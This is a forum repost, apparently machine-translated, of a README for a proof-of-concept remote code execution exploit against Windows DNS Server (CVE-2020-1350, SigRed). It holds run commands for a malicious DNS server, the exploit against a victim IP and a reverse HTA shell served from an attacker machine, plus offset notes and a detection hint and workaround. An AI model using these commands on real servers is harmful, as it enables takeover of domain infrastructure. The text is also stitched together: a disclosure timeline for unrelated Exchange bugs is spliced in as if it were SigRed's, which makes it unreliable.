搜索

[28798] 2021-03-11_适用于CVE-2020-1350SigRed的PoC远程代码执行漏洞利用。

文档创建者：s7ckTeam
浏览次数：26
最后更新：2025-01-19
2021-03-11_适用于CVE-2020-1350SigRed的PoC远程代码执行漏洞利用。 适 用 于 C V E - 2 0 2 0 - 1 3 5 0   S i g R e d 的 P o C 远 程 代 码 执 行 漏 洞 利 用 。 O t s 安 全   2 0 2 1 - 0 3 - 1 1 创 建 人 ： c h o m p i e 仅 用 于 研 究 目 的 。 使 用 风 险 自 负 。 利 用 写 作 利 用 写 作 有 关 使 用 的 方 法 的 详 细 信 息 在 这 里 ： h t t p s : / / w w w . g r a p l s e c u r i t y . c o m / p o s t / a n a t o m y - o f - a n - e x p l o i t - r c e - w i t h - c v e - 2 0 2 0 - 1 3 5 0 - s i g r e d 环 境 设 定 环 境 设 定 实 验 室 环 境 ： 设 置 转 发 器 出 于 演 示 / 测 试 目 的 ， 只 需 在 受 害 者 计 算 机 上 设 置 条 件 转 发 器 即 可 将 “ 恶 意 域 ” 请 求 转 发 到 攻 击 者 计 算 机 。 T o o l - >   D N S
注 册 自 定 义 名 称 服 务 器 注 册 自 定 义 名 称 服 务 器 如 果 您 没 有 设 置 转 发 器 ， 即 实 际 上 将 攻 击 者 的 计 算 机 注 册 为 您 的 域 的 自 定 义 名 称 服 务 器 ， 并 通 过 真 实 的 I n t e r n e t 运 行 它 ， 请 注 意 . . .   我 真 的 不 建 议 您 这 样 做 ， 如 果 您 做 一 些 愚 蠢 的 事 情 也 不 承 担 任 何 责 任 。 假 设 您 的 域 名 服 务 器 注 册 为 n s 1 ， 则 配 置 此 漏 洞 利 用 。 [ y o u r e v i l d o m a i n ] 您 需 要 进 行 以 下 调 整 才 能 通 过 真 实 的 I n t e r n e t 进 行 这 项 工 作 ： 注 释 掉 行 ： 在 请 按 照 以 下 说 明 修 复 D N S 配 置 ： h t t p s : / / w w w . l i n u x u p r i s i n g . c o m / 2 0 2 0 / 0 7 / u b u n t u - h o w - t o - f r e e - u p - p o r t - 5 3 - u s e d - b y . h t m l 这 样 一 来 ， 您 可 以 侦 听 端 口 5 3 并 仍 然 配 置 D N S 服 务 器 。 配 置 攻 击 者 机 器 配 置 攻 击 者 机 器 在 L i n u x 攻 击 者 机 器 上 ： （ 我 使 用 了 基 本 的 U b u n t u   2 0 . 0 4 . 1   V M ） 这 会 将 受 害 者 配 置 为 下 载 反 向 H T A   S h e l l 的 A p a c h e 服 务 器 。 运 行 漏 洞 利 用 需 要 s u d o 侦 听 U D P 和 T C P 端 口 5 3 然 后 运 行 ： 设 置 反 向 s h e l l 的 侦 听 器 ： o s . s y s t e m ( ' s y s t e m c t l   s t o p   s y s t e m d - r e s o l v e d ' ) e v i l d n s . p y s u d o   p y t h o n 3   c o n f i g u r e . p y   - i p   I P _ A T T A C K E R   - p   P O R T _ R E V E R S E _ S H E L L   - h p   P O R T _ A P A C H E _ S E R V E R   ( d e f a u l t   8 0 ) s u d o   p y t h o n 3   e v i l d n s . p y p y t h o n 3   e x p l o i t . p y   - i p   W I N D N S _ V I C T I M _ I P   - d   E V I L _ D O M A I N p y t h o n 3   r e v e r s e _ s h e l l / s e r v e r . p y   - p   P O R T _ R E V E R S E _ S H E L L
H T A   s h e l l 是 以 下 版 本 的 修 改 版 本 ： h t t p s   :   / / g i t h u b . c o m / f r e s h n e s s 7 9 / H T A - S h e l l 请 注 意 ， 当 有 传 入 连 接 时 ， s h e l l 不 会 通 知 您 ， 因 此 您 将 不 得 不 尝 试 键 入 命 令 。 支 持 的 版 本 支 持 的 版 本 已 在 W i n d o w s   S e r v e r   2 0 1 9 、 2 0 1 6 、 2 0 1 2 R 2 和 2 0 1 2 （ x 6 4 版 本 ） 上 进 行 测 试 。 偏 移 量 的 某 些 版 本 d n s . e x e 和 m s v c r t . d l l 位 于 o f f s e t s . p y 。 此 列 表 不 完 整 。 如 果 要 测 试 的 版 本 找 不 到 偏 移 量 ， 则 可 以 在 此 处 添 加 映 射 。 d n s . e x e 偏 移 映 射 ： （ 对 于 偏 移 的 1 2 位 最 后 d n s ! R R _ F r e e ， d n s ! ` s t r i n g ` ） ： （ 偏 移 d n s ! R R _ F r e e ， d n s ! N s e c D n s R e c o r d C o n v e r t ， d n s ! _ i m p _ e x i t ）   m s v c r t . d l l 偏 移 映 射 ： （ 用 于 抵 消 最 后 1 2 个 比 特 m s v c r t ! e x i t ） ： （ 偏 移 m s v c r t ! e x i t ， 偏 移 量 m s v c r t ! s y s t e m ） 注 意 ： 如 果 发 生 偏 移 冲 突 ， 则 必 须 选 择 要 选 择 的 一 组 偏 移 。 D N S 服 务 将 在 大 约 5 分 钟 后 重 新 启 动 ， 直 到 崩 溃 后 最 多 两 次 。 e v i l d n s . p y 每 次 尝 试 后 必 须 重 新 启 动 。 该 漏 洞 利 用 程 序 是 稳 定 的 ， 因 此 成 功 进 行 “ 盲 目 ” 漏 洞 利 用 的 机 会 很 高 。 检 测 漏 洞 利 用 和 解 决 方 法 检 测 漏 洞 利 用 和 解 决 方 法 此 P o C 包 含 用 于 检 测 对 S i g R e d 的 利 用 的 G r a p l 规 则 。 要 为 您 首 选 的 S I E M 实 施 规 则 ， 请 查 找 d n s . e x e 的 无 效 子 进 程 。 如 果 无 法 修 补 ， 则 可 以 使 用 变 通 办 法 修 补 程 序 ： 漏 洞 披 露 时 间 表 漏 洞 披 露 时 间 表 2 0 2 0 年 1 0 月 1 日   D E V C O R E 开 始 审 查 M i c r o s o f t   E x c h a n g e   S e r v e r 上 的 安 全 性 2 0 2 0 年 1 2 月 1 0 日   D E V C O R E 发 现 了 第 一 个 预 身 份 验 证 代 理 错 误 （ C V E - 2 0 2 1 - 2 6 8 5 5 ） 2 0 2 0 年 1 2 月 2 7 日   D E V C O R E 将 第 一 个 错 误 升 级 为 身 份 验 证 绕 过 身 份 ， 成 为 管 理 员 2 0 2 0 年 1 2 月 3 0 日   D E V C O R E 发 现 了 第 二 个 验 证 后 任 意 文 件 写 入 错 误 （ C V E - 2 0 2 1 - 2 7 0 6 5 ） 2 0 2 0 年 1 2 月 3 1 日   D E V C O R E 将 所 有 错 误 链 接 到 一 个 可 行 的 预 认 证 R C E 利 用 中 2 0 2 1 年 1 月 5 日   D E V C O R E 通 过 M S R C 门 户 直 接 向 M i c r o s o f t 发 送 了 咨 询 和 漏 洞 利 用 （ 格 林 尼 治 标 准 时 间 1 8 : 4 1   + 8 ） 2 0 2 1 年 1 月 6 日   M S R C 确 认 了 预 身 份 验 证 代 理 错 误 （ M S R C 案 例 6 2 8 9 9 ） 2 0 2 1 年 1 月 6 日   M S R C 确 认 了 验 证 后 任 意 文 件 写 入 错 误 （ M S R C 案 例 6 3 8 3 5 ） 2 0 2 1 年 1 月 8 日   M S R C 确 认 了 举 报 行 为 2 0 2 1 年 1 月 1 1 日   D E V C O R E 将 M S R C 的 公 开 披 露 截 止 日 期 定 为 1 2 0 天 ， 并 检 查 是 否 存 在 b u g 冲 突 2 0 2 1 年 1 月 1 2 日   M S R C 标 记 了 预 期 的 截 止 日 期 ， 并 确 认 当 时 没 有 冲 突 2 0 2 1 年 2 月 2 日   D E V C O R E 检 查 更 新 2 0 2 1 年 2 月 2 日   M S R C 回 答 说 ： “ 他 们 将 各 个 方 面 分 开 进 行 审 查 ， 并 至 少 获 得 了 一 个 应 在 我 们 的 截 止 日 期 前 解 决 的 方 法 ” 2 0 2 1 年 2 月 1 2 日   M S R C 询 问 标 题 标 题 以 致 谢 ， 以 及 我 们 是 否 将 发 布 博 客 2 0 2 1 年 2 月 1 3 日   D E V C O R E 已 确 认 发 布 博 客 ， 并 表 示 将 技 术 细 节 推 迟 两 周 ， 并 将 发 布 一 个 易 于 理 解 的 建 议 （ 不 包 含 技 术 细 节 ） 2 0 2 1 年 2 月 1 8 日   D E V C O R E 向 M S R C 提 供 了 咨 询 草 案 ， 并 要 求 提 供 补 丁 程 序 日 期 2 0 2 1 年 2 月 1 8 日   M S R C 在 我 们 的 草 案 中 指 出 了 一 个 小 错 误 ， 并 确 认 补 丁 发 布 日 期 为 3 / 9 2 0 2 1 年 2 月 2 7 日   M S R C 表 示 ， 他 们 即 将 发 布 ， 并 想 问 一 下 我 们 在 其 咨 询 中 被 提 及 是 否 满 意 2 0 2 1 年 2 月 2 8 日   D E V C O R E 同 意 在 其 咨 询 中 提 及 2 0 2 1 年 3 月 3 日   M S R C 表 示 ， 他 们 可 能 会 比 预 期 更 早 推 出 博 客 ， 并 且 没 有 时 间 对 博 客 进 行 概 述 2 0 2 1 年 3 月 3 日   M S R C 发 布 了 补 丁 和 公 告 ， 并 正 式 承 认 D E V C O R E 2 0 2 1 年 3 月 3 日   在 获 悉 V o l e x i t y 的 积 极 开 采 咨 询 后 ， D E V C O R E 已 启 动 了 初 步 调 查 2 0 2 1 年 3 月 4 日   D E V C O R E 已 确 认 该 野 外 攻 击 与 向 M S R C 报 告 的 相 同 2 0 2 1 年 3 月 5 日   迄 今 为 止 ， D E V C O R E 尚 未 在 调 查 中 引 起 关 注 参 考 ： 参 考 ： h t t p s : / / g i t h u b . c o m / c h o m p i e 1 3 3 7 / S I G R e d _ R C E _ P o C h t t p s : / / r e s e a r c h . c h e c k p o i n t . c o m / 2 0 2 0 / r e s o l v i n g - y o u r - w a y - i n t o - d o m a i n - a d m i n - e x p l o i t i n g - a - 1 7 - y e a r - o l d - b u g - i n - w i n d o w s - d n s - s e r v e r s / h t t p s : / / g i t h u b . c o m / c h o m p i e 1 3 3 7 / S I G R e d _ R C E _ P o C h t t p s : / / d a t a f a r m - c y b e r s e c u r i t y . m e d i u m . c o m / e x p l o i t i n g - s i g r e d - c v e - 2 0 2 0 - 1 3 5 0 - o n - w i n d o w s - s e r v e r - 2 0 1 2 - 2 0 1 6 - 2 0 1 9 - 8 0 d d 8 8 5 9 4 2 2 8 p y t h o n 3   r e v e r s e _ s h e l l / s e r v e r . p y   - p   P O R T _ R E V E R S E _ S H E L L r e g   a d d   " H K E Y _ L O C A L _ M A C H I N E S Y S T E M C u r r e n t C o n t r o l S e t S e r v i c e s D N S P a r a m e t e r s "   / v   " T c p R e c e i v e P a c k e t S i z e "   / t   R E G _ D W O R D   / d   0 x F F 0 0   / f n e t   s t o p   D N S   & &   n e t   s t a r t   D N S
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理